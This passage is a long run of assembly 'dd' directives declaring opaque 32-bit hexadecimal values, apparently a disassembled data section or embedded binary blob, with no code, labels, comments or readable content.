		dd 0EADD05DBh, 6EDCD3FFh, 8AC20404h, 0F56DDDC8h, 0F0EF0CCh
		dd 5308CF7Ch, 430C838Ch, 5DBBA0ABh, 4374503Ah, 8EA07C30h
		dd 83F0DA71h, 20AB967Ch, 66B61800h, 0B4037DD3h,	4B7831F1h
		dd 42258399h, 18850B28h, 554C4A8Fh, 0CC283304h,	12481914h
		dd 8D6A2E1Ch, 0F4749022h, 8D150AEh, 4204400Ch, 1808EE51h
		dd 5534CC04h, 4450F0D3h, 18044164h, 0A1AC21Ch, 120925AAh
		dd 0AB14270Ch, 8132489Ah, 2CC53BA5h, 3AFCDD50h,	2E673D00h
		dd 32BB5A80h, 0C15622ACh, 961DDD1Dh, 8FB413C0h,	7430DC88h
		dd 0C8FCA5B0h, 0CB585F04h, 242F3E4Ah, 0C4A21B14h, 783B8480h
		dd 9819BD7Dh, 2E06E857h, 8C88C4D3h, 39C71C2h, 0F05C3403h
		dd 5106C540h, 0BB90C005h, 858DF33h, 549E4ADBh, 4837BCECh
		dd 0E2404940h, 0FD4F079Fh, 33947E12h, 617A68CAh, 6F3031EAh
		dd 0AFFF118Bh, 9D3A0121h, 0BBF1BF24h, 7D6980B7h, 4E812A40h
		dd 0CBE713FDh, 4FB8009Eh, 72379275h, 3A5DDB3Ah,	48007745h
		dd 39C22369h, 1D25F70Bh, 33820D6Dh, 6806EA0h, 0E3BF617Dh
		dd 0C1006F5h, 0C1E2DA7Fh, 93548DFh, 978BD800h, 0DEF772h
		dd 48774F15h, 0DAFFC596h, 0E31D0B7h, 28D5F827h,	0F68BEA40h
		dd 5A05C337h, 0E5F24BEh, 0AAE7C420h, 5BED06FFh,	0D2DB83BCh
		dd 29E83D60h, 3DEE6FE1h, 749BE713h, 3C089FEh, 6DFE4A07h
		dd 48C5FF3Ch, 0D48009Ch, 0D9745981h, 928C0C3h, 18A8A625h
		dd 0FC8F60A1h, 4F5136DBh, 7388FF7h, 0BCC2A046h,	1AC30CEEh
		dd 30F8AF59h, 9CC57003h, 0D5C663A7h, 42D09084h,	14F2C7E3h
		dd 297EF3E0h, 40F18112h, 0B21D718h, 906DF6D9h, 0A1C36515h
		dd 0B0A81079h, 0FAC3028h, 0C1893587h, 0AD58EF40h, 97280CBFh
		dd 52059880h, 870940C9h, 0A6A89410h, 0CF740F10h, 3203C2A5h
		dd 49CDA143h, 6410DBE4h, 5E144436h, 0B2B823C3h,	103431F5h
		dd 81E7D5CDh, 1B41E8D2h, 3800F898h, 2B32D630h, 47E6448h
		dd 0E7E16AE9h, 3F2081C5h, 0A87500DCh, 0EEA01496h, 0BE33A4FCh
		dd 51E0BCD0h, 9F07E179h, 49CA01CBh, 0C1169C81h,	35C800E3h
		dd 0F18A3041h, 751C9719h, 0FD4AD452h, 0D06A0DBh, 660125Bh
		dd 494E30FBh, 3F48C8DAh, 90232ABCh, 12C5B881h, 4884A0ADh
		dd 1287E9B1h, 50CEA9F1h, 0F407D8D0h, 45034227h,	518C2C29h
		dd 10A15A40h, 263D1DAEh, 0E3420CDFh, 0A60C8F7h,	90C37C46h
		dd 30654818h, 0CF134EA0h, 22C28D4h, 0D71FB8FCh,	0C4C82DCh
		dd 0C6184196h, 0C46086E2h, 0C1F260F1h, 0B15FEBF1h, 97707500h
		dd 42E6D0D4h, 0A4210A1Fh, 18804333h, 18EA41F1h,	8FC3F707h
		dd 482ADA44h, 27293018h, 0F7108887h, 9697D418h,	1E214479h
		dd 2A8D4FD5h, 84B90C58h, 8E90FFB7h, 4500DC43h, 586B38BAh
		dd 6D0090BEh, 1FEB7C4h,	124A10h, 39C1B08Fh, 2FD0D76Bh
		dd 1543EA01h, 0DAAD4FC2h, 6D2B820h, 320C607Eh, 2454787Dh
		dd 0D90AFDA8h, 38E1C593h, 0DA503428h, 0D08664B0h, 5635B0B8h
		dd 93412B1h, 0C745Ch, 25075A28h, 0C0EFFCFAh, 7E4B1001h
		dd 0EAD42D8h, 22A971E6h, 828BCA44h, 8CA12F0Ch, 0F8F02E2Ah
		dd 0AD888979h, 0E7240622h, 8198DB87h, 3C047F4Ch, 40CB9FF4h
		dd 0EFD08030h, 0BECE0336h, 0D4351CC8h, 1B0C7800h, 0A602A513h
		dd 0C82F4875h, 0F91C18D8h, 0F863083Dh, 0E8C1BC02h, 8280D443h
		dd 822E53D0h, 80D9648Ch, 74B23698h, 7BE202F8h, 7FC01FE6h
		dd 40BB4CC8h, 0FE6EFB3Dh, 78CCA22h, 24B9EEB0h, 1F99C057h
		dd 9600DC61h, 8A668B58h, 0CA9DC7h, 5AE531D2h, 15FF327Fh
		dd 0F87C9C30h, 58DB5BECh, 4D005C2Dh, 0EF302A45h, 0FA00F45Ah
		dd 0F9BB85C3h, 1CDF9377h, 0C0B6E954h, 0D007AD3Bh, 7FF92FF4h
		dd 1E27A0h, 4AFC346Bh, 534C399Eh, 0D19A6700h, 0BAF15AD5h
		dd 59A61D3Dh, 1AD2858Dh
		dd 90A410FCh, 11454F86h, 4D01F24h, 0EFCE8F80h, 2C21D81Ch
		dd 40AC65B0h, 0D2FE33D5h, 6D0E5C06h, 7F49CF0Ch,	87EF26E6h
		dd 0A36100C4h, 0EC3BBA50h, 5C1DCE00h, 0D1CD37E5h, 2A3E003Ah
		dd 347A2FDDh, 0C33E769Eh, 273C07ACh, 6B609BA8h,	7BD8A487h
		dd 0F0F83D82h, 0B9711E07h, 617F010h, 983AEA3Eh,	0D1AF0C39h
		dd 0E3A0982h, 0C03FFB41h, 1A691058h, 0D471D061h, 69BC219Bh
		dd 846EF300h, 1B3FC0Bh,	4F01A57Bh, 0EA457BAFh, 41B9B025h
		dd 0DA8190h, 0DCDBE56Ah, 1595C98h, 0F58FCA8Ch, 0FCBDE2FFh
		dd 0C333110Ch, 0D15172A8h, 6DDCA5B2h, 418E6021h, 169A522Ah
		dd 38C64B00h, 0B15D5F42h, 0E3E600B7h, 24D93AA3h, 12EA5C2Bh
		dd 686D2206h, 37669AACh, 0C0E9F60Bh, 66E61627h,	0E7954201h
		dd 0C1A0299Eh, 1C57EF0h, 0A93720DAh, 0B369CF94h, 0A0EAF95Ch
		dd 43559Fh, 46951798h, 0A3E26ED2h, 0C8EB9B01h, 255CA927h
		dd 93A2886h, 0D6393984h, 7DC38B3Dh, 3870AEh, 75BAC1CFh
		dd 0EB5F6BADh, 566AD106h, 1530AE27h, 9C538122h,	0D4EADC07h
		dd 0E0738033h, 0A400F17Ah, 0D20AD8E6h, 1E5101A7h, 9E023C11h
		dd 2E38C746h, 0DA78DCDEh, 5D420D00h, 6B7F586Ch,	6ED93B23h
		dd 2506DB38h, 70C93582h, 0FA370B00h, 0F44F8E71h, 0DB0F0773h
		dd 30D38D43h, 66297DA8h, 44115A00h, 236FFF2Dh, 1FB59025h
		dd 7C988A70h, 6561E100h, 32A5FE90h, 1E320C8h, 9BEB97BCh
		dd 38E0F05Bh, 0D8609800h, 32F71207h, 7E397342h,	0B48500ACh
		dd 0FA798676h, 0B0069B6h, 0D2EE5ACFh, 361492Dh,	548C18F5h
		dd 8000FC27h, 39362C0h,	0B837AF1Fh, 0B719CFACh,	287B2FA0h
		dd 22F26EC6h, 0C90D361h, 1CE35E34h, 0CF7BC548h,	89187C65h
		dd 0E50F6223h, 0A3B99C77h, 0DF376Dh, 5E68E251h,	7A9F646Ah
		dd 0FF0C88F2h, 21265740h, 0F0FE0005h, 220AD91h,	587AA5B7h
		dd 9A8833E8h, 4F00006h,	6BD734E0h, 0F4004951h, 15D4B5D6h
		dd 1B05EFBh, 432DD513h,	0FC20FEB2h, 0DC068D39h,	12892631h
		dd 0BD830048h, 0E7EF88B6h, 377823BBh, 13E308C6h, 0ACF600C0h
		dd 41140BB6h, 4002F92h,	0A2E9E542h, 0A2374D3Ah,	0C2DD60C8h
		dd 8CF150C1h, 718218C7h, 9DA6F042h, 37E51F39h, 77A01007h
		dd 96094Eh, 16E05F81h, 0E840DDCBh, 80DCC13Fh, 24D4B10Bh
		dd 39E4EE4h, 564A967Eh,	5F932A53h, 0B60DD0A8h, 7389C400h
		dd 48B99B1Dh, 0D8B5004Eh, 629E0C42h, 0F77602FFh, 0DE8ABF00h
		dd 68E5411Eh, 0C65301E4h, 0DD7D1381h, 3FC1E458h, 15959300h
		dd 913165BDh, 7ED500BCh, 2B4364F3h, 7300BEA4h, 2EB24E0Ch
		dd 6B4915h, 0A9AA326Dh,	0D19E52FAh, 41C8CF00h, 0AD6A31F7h
		dd 468B3E9Ch, 1880B63Fh, 4542E01Ch, 600F8475h, 80031AFAh
		dd 47A857DEh, 6D7BD0h, 0C6F24CE4h, 1B99E5F0h, 8035A11Dh
		dd 20DE100Ch, 0F24D3FB6h, 3AF0A00h, 9F952D1h, 33F2A3Bh
		dd 9B7760A3h, 0D044A014h, 3570058Dh, 80D9916Dh,	0EBC6E646h
		dd 61DAF519h, 4F4A420h,	3D33F6BCh, 7C83AD90h, 0E7B7A22Eh
		dd 0F427BAD1h, 0A8CDFFC1h, 0B091A144h, 273B8154h, 80FDC7D8h
		dd 0D140220Ch, 27F087h,	58703ADAh, 0FC17C546h, 8E514E60h
		dd 35C9E42h, 0AEEC3345h, 91E78B70h, 80C5BD74h, 0B3D8A978h
		dd 39F9555Ah, 0D9B077A8h, 0A5367118h, 29978C44h, 11A8C3A1h
		dd 984F8AB0h, 0D34DF005h, 0A815504Ah, 0F24AA380h, 2CC67AFFh
		dd 5640DFCh, 0C41922A1h, 0D9A44202h, 8B81B6BAh,	0C359EFE4h
		dd 0B5D534F8h, 8070B1E1h, 0CF00FCB9h, 70002C91h, 64A5DFE2h
		dd 8CE87Dh, 49FD43D8h, 30C746E1h, 790040F6h, 9C6697E7h
		dd 0E4CD2751h, 5922009Ah, 0C16A38EAh, 0E20079A6h, 68E89E74h
		dd 305CF5h, 4D70E0BAh, 43879CA1h, 4F723Eh, 4CA6C6B4h, 0D6DC0h
		dd 1D7FA2B3h, 22A025AAh, 62C9E300h, 0B2D9A570h,	0B277D89h
		dd 0CD2370Dh, 1187BF0Fh, 0C09E2FC6h, 42E82E97h,	6000BD3Ah
		dd 45F1610Fh, 4D07E3h, 40C52847h, 0F42C34EAh, 0D1859405h
		dd 3B81A00Ch, 20807224h, 9B6FB6BFh, 7C00DB15h, 9EF8DAEAh
		dd 1DBA748Eh, 0EA3A061h, 45A0E340h, 4ADDE528h, 0DFE1BE01h
		dd 0C72566C1h, 0A3A2088Dh, 49A8D320h, 0D3004E90h, 0B4E85904h
		dd 11312FCh, 191FBF33h,	204B2774h, 2B00D07Eh, 577F3C0Ah
		dd 6C4F33EFh, 0A0B92014h, 29B0BA00h, 367003F2h,	0DED200B6h
		dd 0C67C83E5h, 4C1893AFh, 0C8983276h, 5F720037h, 6E2F6CF9h
		dd 2C747AA1h, 0FAEA320h, 3F733E68h, 9F785100h, 18C0AFCCh
		dd 403247D5h, 7DBC0F8Ch, 0C36023A0h, 0B7D1E90Bh, 89E2F218h
		dd 0A4278B70h, 361D0EA8h, 46AC373Ch, 0F200B688h, 7C80768Ah
		dd 0E6B5234Fh, 4B100091h, 0AA6A2C68h, 410047B1h, 14F61F35h
		dd 15566688h, 44C1D71h,	0C13075ECh, 7FF1072h, 26F803CCh
		dd 0D59B7415h, 0D0145AA1h, 213E84B7h, 0C86A0388h, 0E385810Eh
		dd 0B89E0EBh, 2017017Bh, 0D4A63F67h, 41598148h,	28A51E44h
		dd 0BF8C508Fh, 35C703D1h, 3A1B1023h, 72807328h,	0BBA5EE17h
		dd 0E612D37Ch, 1C11ACh,	14AB0C0h, 0D3F60E1h, 17EDF57Eh
		dd 863DD560h, 4E077541h, 0E4D0CC0h, 0C61908B8h,	395CC39h
		dd 0EE32DF85h, 9272FA0Ah, 5403C070h, 0BF230014h, 49E9CB8Bh
		dd 0C2A01FFCh, 0CC32C86Dh, 0E0D5E882h, 1B4016Dh, 0C1A68F0Ah
		dd 884A8635h, 3A164FE9h, 1F004C53h, 0A359C7C1h,	0D33B397Dh
		dd 9BB4D494h, 0E2B8EF0Ah, 3E809408h, 24547CBEh,	65EE07CAh
		dd 0CF06CE59h, 8439D4Fh, 0E4E00D29h, 0B0E2C77Fh, 0C395C19h
		dd 0F8D76670h, 0A190DDh, 24F3EA15h, 118D7F12h, 3A309772h
		dd 253948EEh, 4B493EBDh, 428F8B3Ch, 3884403Fh, 0FD3075Eh
		dd 765053D3h, 0CE453C59h, 3B9BF301h, 982BB7C7h,	0AB218408h
		dd 0EDDF0022h, 616451EFh, 0BE01D085h, 5CD55241h, 3024087Ch
		dd 5F20904h, 368FAF93h,	9F100472h, 3E6C0E09h, 0EC92C8C0h
		dd 3ABDE8ABh, 0F42AAA8Bh, 1FD798Ch, 7F4DF835h, 0D7DEB9E3h
		dd 0EB0C9F0h, 3FC8D212h, 4F9B4800h, 0A80F1606h,	5FBDC0h
		dd 0DB91A50Ah, 0DA690BE4h, 26C008C9h, 205D1Ch, 0EF4EE3Fh
		dd 98E8628Bh, 95BA8009h, 5F8C234Ah, 24E90066h, 7AB70726h
		dd 0FE0433C8h, 0DF54275Dh, 4818F3C0h, 7EB505C4h, 0C540D201h
		dd 8E2C0042h, 45942D03h, 2CFCAC07h, 57E01A50h, 0EA63D09h
		dd 0DCC63471h, 5D3CAA00h, 0C00470Fh, 8C79C7E7h,	1C7281E6h
		dd 8010C815h, 55480E02h, 0C0701D39h, 0B2713Ch, 0FFE119A8h
		dd 115CCD7h, 10CB95D1h,	0D432F454h, 0C9005F8Ah,	0BF35634Eh
		dd 66DC6h, 997F4181h, 9FE79322h, 0B3619100h, 333C8870h
		dd 0FCCB00E8h, 39EF4A6Ah, 0A417EE27h, 6F00723Dh, 0E1845C89h
		dd 19681FA3h, 73AD8730h, 11B077AFh, 0F89C8347h,	710375CDh
		dd 0ED59D957h, 72D8F8E0h, 371C33E3h, 42880748h,	0D20038F4h
		dd 0A2E161B1h, 0E12822Bh, 201F0685h, 0AE0271B8h, 13ACF21Eh
		dd 0C02BC10Fh, 6006A581h, 98F9034Fh, 32424B28h,	634C13D0h
		dd 5EBA5400h, 15685D12h, 4A58396Dh, 0CF07A8BCh,	0F6C0F581h
		dd 2009854h, 2E77B839h,	8034C6E1h, 1AEE3273h, 9DD2A003h
		dd 1DC221Fh, 18AEE489h,	0DFE6934Ah, 9F2713C0h, 167FEC00h
		dd 3C54CABDh, 0B8460099h, 0DE721BA1h, 7B0E4F77h, 0E08E1h
		dd 0A2EDEB8Bh, 2BE27Ch,	0F96F4754h, 0CCAA0273h,	15E0A161h
		dd 0A18698F7h, 68A83B91h, 4BCDE000h, 9F41649h, 36FE8EDh
		dd 89EF58EEh
		dd 0A1002AA1h, 6E3F81AFh, 0E0930Dh, 84BB7AA3h, 0C62931A1h
		dd 879B7300h, 0F5E953E4h, 677D62h, 0A02611A9h, 80F3E0D7h
		dd 95756F00h, 0D28993CDh, 28570FFEh, 4C80B81Dh,	0F6BD5B25h
		dd 41A50900h, 0A8AA6918h, 0FE223DAEh, 7E393C00h, 1FEBD021h
		dd 254B3400h, 35DADB83h, 63F20343h, 857F892Dh, 0B24C6900h
		dd 904B2CA8h, 25F0B7h, 95ACCE0h, 0CF210BCBh, 31B18618h
		dd 0E3EF10h, 5298C54Dh,	48282266h, 0A02C1C00h, 7218D1B0h
		dd 0FA0C067h, 7B8D16C9h, 80859837h, 1EF42F0h, 0FF66008Fh
		dd 0AE18C948h, 0DA00C0D9h, 33A92776h, 0E210AD3Bh, 0F14B06A5h
		dd 0F1A0DBEEh, 57EAB500h, 68A98E82h, 8C107F7h, 0F0AEB039h
		dd 4D3D40CCh, 0EC7ABF00h, 0C0B42EE0h, 4883120Ah, 0A1AC0733h
		dd 0CB1680C6h, 353A293Fh, 17E20149h, 4FB8D2F6h,	226FA087h
		dd 0C0429065h, 5E013F36h, 6274543Dh, 0A2D07157h, 146F2A7h
		dd 0E21CC8AAh, 0DB0EFE90h, 6700FBECh, 0FA688253h, 0F8E472h
		dd 5EAF831Dh, 0E33C6624h, 968CC354h, 5C625603h,	0A061D25Fh
		dd 76A655h, 0FDF146B6h,	0FA39A542h, 381C1B00h, 0FC0B7A54h
		dd 3D8F3A9Ch, 20B6E11Bh, 450955F8h, 723EF700h, 83BBD9DCh
		dd 606A4CA6h, 0C8D76200h, 89B05178h, 0D5BFAB00h, 9A41C246h
		dd 875F1B6Fh, 0C9C069E5h, 1700347Eh, 0A2C51B7Bh, 390BEB31h
		dd 2060625Fh, 0F525E8F7h, 0DE713519h, 58BAA268h, 0D5BCD78Ah
		dd 91A60024h, 925DF326h, 0EDDCD800h, 0E8C2558Bh, 4438A541h
		dd 9C04603Ch, 290987Eh,	27A77103h, 0D3C0A29Bh, 400EF9FEh
		dd 0C051E393h, 7953FB48h, 348500F4h, 59D671EFh,	551D91B2h
		dd 1FC3E869h, 883ACC0Fh, 70CD0E62h, 1F64758Ah, 0C082E5DFh
		dd 4F54D4ECh, 5E0E4189h, 2D0D2Fh, 0F1DA34DDh, 64390138h
		dd 0E18D47F3h, 690CFCDEh, 0EE973A1Ch, 0BB7E6800h, 529CE6h
		dd 82AE4E0Eh, 9EE4FD23h, 0C57BC400h, 0A7646C87h, 65270073h
		dd 0E738A6C6h, 0B01F2F92h, 0F7802B5Eh, 0D4A40459h, 5A6D00BAh
		dd 2603CF8h, 0D5036914h, 0F9EAB4Eh, 0C760FF76h,	545C0Dh
		dd 8B49E1A1h, 621F35Fh,	0F0AF7707h, 25111FA0h, 2080C6E6h
		dd 0D8D64B81h, 35EC0844h, 9984AD00h, 68237529h,	315300A3h
		dd 7D4652B3h, 0D70EF6CAh, 0A033097Fh, 79DF0360h, 88B70CC2h
		dd 9840592Ch, 49C0EB00h, 0B5680DFBh, 0B246007Fh, 91F8F6BCh
		dd 2002C64Eh, 0C9FC73C0h, 56888053h, 7F335979h,	0B71028BDh
		dd 0BC0F0080h, 7E36FDEDh, 203BC586h, 0B8A003Ah,	0F0580628h
		dd 94F306F5h, 615AC7F7h, 0C3008077h, 0D6CF204Fh, 8AAE97h
		dd 7A589651h, 2A4EA1DBh, 0F93E5E00h, 0E336053Ch, 8A84009Fh
		dd 46F9DCAh, 0B5006B1Fh, 0BFE79694h, 18314FA3h,	20E1D1BEh
		dd 220B49FEh, 83CEA2F6h, 0B89F4A40h, 0DE14F2h, 0DDBD300Eh
		dd 0DFEEA4FAh, 24BEB319h, 0CCE4CF58h, 59D2012Ah, 3A5E0EE6h
		dd 80EBD1ECh, 0CFF37821h, 2FA648h, 695DF5C8h, 1B54DD11h
		dd 6C761A07h, 3D70715Bh, 1229DCFDh, 1E6452h, 7593F9D0h
		dd 21D35707h, 522BDD06h, 0E06F6259h, 46189B8Eh,	97D00423h
		dd 28BE0FDEh, 0C09C00C1h, 6C9AB42Bh, 0E061B325h, 7E6DD418h
		dd 42BEECh, 67E3A359h, 8F924C0Ah, 78882C03h, 1052285Bh
		dd 0C08D1270h, 972C2392h, 46608C3Eh, 0C118FD59h, 0CCA0045h
		dd 13D45DD0h, 0BD3E093Fh, 0EB01F01Fh, 7BF650E3h, 0AC42F96Ah
		dd 0CC453004h, 21804B08h, 0B16FECh, 0B5CCB479h,	0E21D853Bh
		dd 0BCE0D5h, 0C4E90517h, 4EB969BFh, 0F393780Bh,	763000F6h
		dd 309FF07h, 0E6E79CA0h, 0A9F1C0D0h, 330C705Dh,	0E55BE400h
		dd 987C713Bh, 0D2D8019Eh, 781F1509h, 0FC288379h, 0F805047Bh
		dd 3E596821h, 260ED0A1h, 883E4C1h, 11D8E5A3h, 7F002576h
		dd 0D795A135h, 1E44EA9Bh, 980DB1C7h, 59237050h,	6B373400h
		dd 0BC213E07h, 0C7A400E6h, 60290E61h, 9F5C9BA1h, 80163897h
		dd 3B27FC4Ah, 30A88E81h, 6178BAD9h, 4F1DB3ABh, 7B80F05Dh
		dd 9A2A2753h, 0D1B200FFh, 0B4DC7A24h, 44012295h, 97481FDEh
		dd 8080A0B7h, 0C55537D0h, 22EC8DE8h, 0EFD78F00h, 47E3E410h
		dd 0E7EC00BDh, 62954F4Ah, 60ABF12h, 926CC8C3h, 5476EF01h
		dd 84470E84h, 0B091C7C0h, 2ABAF0F6h, 1E8C0B6Eh,	444BEB23h
		dd 805EF7E3h, 8F3361C7h, 0C8763C3Ah, 0D0A20768h, 0E04030ADh
		dd 0E8AAECC5h, 2CA90FD4h, 0BBA08740h, 54DC57DEh, 0B46A5A03h
		dd 0B3A75C47h, 46102927h, 0FB585504h, 0EEF40097h, 0CFE777ABh
		dd 4100795Ch, 0A93466F5h, 1610A23h, 0AD0D407Ah,	0E7AB35F7h
		dd 45A032C3h, 4097FD2Fh, 0F0049Bh, 54269E41h, 0F6E090E3h
		dd 162FB100h, 85FC971h,	73770EB5h, 0EAA07D31h, 0F493EED0h
		dd 26ABF301h, 772F3ECDh, 4A5D6E0h, 2123C740h, 7CAF846Bh
		dd 7D1FC264h, 5200419Bh, 4C78A79Dh, 121C0059h, 14558F48h
		dd 0FD00FCF0h, 393519F9h, 60172726h, 0B4C0292Eh, 55118DC1h
		dd 0E508C561h, 0AF042BDCh, 0C40879A4h, 22F5ED42h, 76212201h
		dd 2800BAC5h, 9680DE0Ch, 0DD6D89DBh, 120D002Ah,	400C8190h
		dd 0C265CC50h, 40C1E980h, 77623526h, 21B73079h,	1FFB114h
		dd 518C54B5h, 7429BAA1h, 20EC9344h, 9177E378h, 89493088h
		dd 626B08D8h, 533DA1C6h, 76E91821h, 0BFA27C01h,	0F5299029h
		dd 0F1DF6371h, 511050C6h, 65009220h, 49AD58A9h,	3900452Eh
		dd 50D6BF6Bh, 784FFACAh, 128200D4h, 0F966749Dh,	0BE00B6FEh
		dd 13CAB455h, 64CBE6h, 691E6824h, 0A5887992h, 0B70061FCh
		dd 0DB12434Ch, 0F974786h, 44CEBC6Dh, 0EA19C240h, 5B78078Bh
		dd 2FF41B12h, 7E603B00h, 75091Fh, 0C0290BD6h, 6208F50Eh
		dd 8CD43100h, 0E5995386h, 0DC907E4h, 0A04D3590h, 795481C6h
		dd 80CBDD3Ch, 726F3759h, 9702C0h, 9CF248C4h, 7E7DB809h
		dd 1F740100h, 6D735C9Ah, 8CC10046h, 564CD80Dh, 95001E18h
		dd 8FCAB86h, 6007BC9Ah,	0F17C99FBh, 0E70027DAh,	44DE92A7h
		dd 1CB7D004h, 808F0F66h, 6D9C675Eh, 870B0A2Fh, 27EF57h
		dd 89F1CC11h, 5A2B001Dh, 0D8EC427Ch, 93713B5Ch,	4379D300h
		dd 4BAA0BE0h, 9449001Ah, 91EF54FFh, 37F69681h, 0DA5A8000h
		dd 0AF0E6AC1h, 8FA10008h, 783A4402h, 54005EFBh,	0F6270A80h
		dd 2C7432h, 0B8BBB2Dh, 60E88FB6h, 4EDF2F00h, 0C0805B6Dh
		dd 74450136h, 87664C08h, 7D16CC5Fh, 190097E4h, 6B8B4D7Eh
		dd 0F9203C1h, 755D30DBh, 7B40E4EEh, 0C2E957C6h,	0F859F007h
		dd 60F092C0h, 0B84E05h,	13FDF07h, 7491CD97h, 7964D703h
		dd 0C082694Bh, 106DDBBh, 61BA9BE3h, 0F4219E28h,	4C001AD4h
		dd 0A202876Fh, 778B81CEh, 0CA54C5Dh, 0ECF7F600h, 0A92AC342h
		dd 322CB100h, 0EE95EF23h, 0F3F44Eh, 8280F055h, 0B1F7199Fh
		dd 7405D800h, 7CF44B5Eh, 0FE260788h, 501E3E83h,	0D1FF4F48h
		dd 0CB01B675h, 0E9879CD0h, 7930D21Bh, 74AC0064h, 802BB750h
		dd 9570445Dh, 0FBA2791Fh, 3D7A6283h, 17B5901Dh,	7E0C006Fh
		dd 0D807F8F0h, 5512ABCDh, 1800AA8Ch, 4FCC8185h,	4E0200CFh
		dd 2CB7F5A5h, 0E31CBE06h, 0D5811E75h, 0ED715446h, 0EEC7802Eh
		dd 0BE017851h, 73E36C52h, 96D0D408h, 67CF02D0h,	0DC94319Eh
		dd 9C0D8880h, 26C03A39h, 0F9EFEBC1h, 0AD433AB0h, 0FAB13680h
		dd 5977915Bh, 1004E109h, 86B4003Bh, 304DA1DFh, 0D108875h
		dd 1900DA5Dh, 7BD36A37h, 0A35A1CFBh, 0CC58F8A4h, 0E4871E69h
		dd 0BCA8805Ch, 0C675C2BAh
		dd 954BB101h, 4A4420BBh, 3EF170h, 0DCBC47B6h, 0FA315605h
		dd 0D17AE51Dh, 8502A380h, 3E605829h, 49009041h,	391CDCE0h
		dd 7C00DA4Bh, 15B49CA7h, 3094886Bh, 8EE0B37Bh, 5C038413h
		dd 2854479Bh, 0C7F3D858h, 86F0008Dh, 0BD7DABE3h, 260008D8h
		dd 5B4907C1h, 2628E22h,	390C6B66h, 22407FAEh, 0BD00A592h
		dd 0A2447468h, 38AF0348h, 63940793h, 9072D0D1h,	39FA005Ah
		dd 9A55CF9Bh, 0B500D2D4h, 2CE44D2Bh, 3D0E43AFh,	58036975h
		dd 95B1480Dh, 0F1450AB8h, 3428BF0Eh, 0F92C21C1h, 1BF4A8A7h
		dd 0CD98006Fh, 912D270Bh, 1277730Fh, 8F269600h,	0D541BC20h
		dd 4AF33C35h, 0ADEB1Fh,	7D84584Ch, 0B1010EA4h, 0C157D56Ch
		dd 0F0412747h, 0FECC71F5h, 2EF01Ah, 131F80CDh, 70F34CF6h
		dd 3CED1503h, 0E0819A44h, 1F0BD4F5h, 405EC2F0h,	6EF669A4h
		dd 0B33EE680h, 2300F843h, 0F304E776h, 89EB98h, 9DE9BB3Eh
		dd 7EF4F56Eh, 68D3D200h, 32514E87h, 0F0AC1EE7h,	0B73E80FAh
		dd 8A9DED01h, 64AE0A00h, 6DC78CECh, 4CE83Bh, 0EBA2A198h
		dd 38275AB6h, 0D4FD9D05h, 890CD91h, 61F1AAh, 1F03CCC0h
		dd 0F65D7AE8h, 642F9E12h, 3E76A840h, 0FFE05C0h,	32149121h
		dd 9F1966C0h, 797DF653h, 0FF1E221Dh, 0A7DC8889h, 1050F590h
		dd 4683DE3h, 1E975651h,	96708043h, 0CC001634h, 50E67581h
		dd 0F8CFE5DFh, 991F15C6h, 7E0BA4EAh, 0C3006883h, 5F66B3FEh
		dd 0D4043D71h, 0AE3290E1h, 35F8F8D0h, 0C60102E5h, 0ED689813h
		dd 2B55D683h, 78A87988h, 0D3011DF8h, 63855A1Fh,	0B62037CDh
		dd 0A4770066h, 0A03211BCh, 9D5CEEFDh, 0CAB90091h, 71E38D65h
		dd 7617B62h, 78A36D44h,	0F5546083h, 1C506F72h, 0C7B97AAh
		dd 31A78C01h, 251A0174h, 0B74A88FFh, 0F4B8004Fh, 81030218h
		dd 0F005BC6h, 0F0CBF1A4h, 191D701h, 0CE49D172h,	30256CA2h
		dd 14003A48h, 76963071h, 583C33F1h, 1F004862h, 8582A867h
		dd 0B1005751h, 248AF49Dh, 1DB93F64h, 5F42D113h,	5C4A8028h
		dd 417B0C70h, 0FEFC830Ah, 6A0008AAh, 0A9F2FD6Ch, 4BF80799h
		dd 60ADF0CDh, 0F55A5E80h, 0B4134500h, 0B29590D6h, 0A4CA24BDh
		dd 46F00918h, 2F1D4A0h,	8F03EB8Ch, 5278DCF7h, 43EAB87Ah
		dd 0B2540075h, 35FFD89Eh, 9C1FD32Eh, 0AF4031FBh, 2280EED2h
		dd 8EFC0202h, 8BE12508h, 77271840h, 84B88423h, 80AEC723h
		dd 0C6D51590h, 9D75E401h, 0D12CDE71h, 7AC189D0h, 320E0646h
		dd 9E1C10C4h, 8AA93Dh, 0B4A71685h, 732E2C4Ch, 707060D1h
		dd 271FC06Bh, 1C49C91Fh, 4C516A80h, 3DF003h, 143E8005h
		dd 0B17F875Ch, 97735807h, 2B09D4Eh, 0C507E6F3h,	808F2B02h
		dd 18651994h, 2DBA6D05h, 8AC26FC6h, 3CBC408Eh, 7E733E51h
		dd 0C260C70Fh, 0C9508360h, 9801BDD9h, 81F953E5h, 6FE46137h
		dd 33190775h, 91EA0C52h, 608DE38Eh, 1C0B6ED6h, 8022D4D9h
		dd 0BF133474h, 0E6160057h, 0BBE50972h, 0DE0062CFh, 3D50EBC4h
		dd 4E10C9h, 0BF5A9395h,	0FC1E3CEh, 7862331Fh, 0B4C58C2h
		dd 9B50C04Fh, 36440EF2h, 926075FBh, 0B88FB337h,	0F716DE3Ch
		dd 80E4DC3Bh, 97E6596Fh, 3534E14h, 0DFC264A9h, 11001786h
		dd 0D6FEE367h, 482495F3h, 21002416h, 2F43654Ch,	0F80B83FDh
		dd 81B05E9Ah, 0E9A1FC6Ch, 82B9D0h, 3973864Fh, 44F31C6Bh
		dd 87713401h, 841B0ACEh, 52B7E0h, 2DFA7D20h, 0A606C14Bh
		dd 0B28EBA00h, 0B5CDEB77h, 5A26128Fh, 0AE580057h, 0AAA0DACEh
		dd 4D78E700h, 8AEB867Fh, 83E901ABh, 32EEC0C5h, 52F5E051h
		dd 0C10CFEFCh, 11A83C22h, 74B703ADh, 0A302C0D0h, 55FCC1F4h
		dd 48CA71AAh, 210057E8h, 9CC2E286h, 207E35h, 6F145B46h
		dd 5960D7EBh, 0A4802700h, 0B5984DF6h, 71FA004Ch, 0F3DEBCD2h
		dd 0BB006DCBh, 3315957Ah, 0FB2176h, 0BC8A583Ah,	877BE8DDh
		dd 8C79C400h, 0A133DC28h, 0C95B00B4h, 1EECD71Fh, 64138637h
		dd 782893F6h, 997B00ABh, 9141E847h, 0A402B00Bh,	3D520A66h
		dd 0E2D86069h, 3783001Bh, 0ED7459A7h, 6A005B7Bh, 96C04A46h
		dd 36543Fh, 0FFADF5C6h,	983D687Fh, 440AB004h, 0C8804830h
		dd 50210997h, 63BE8FCh,	0A3A812B1h, 0C10010EAh,	8E394569h
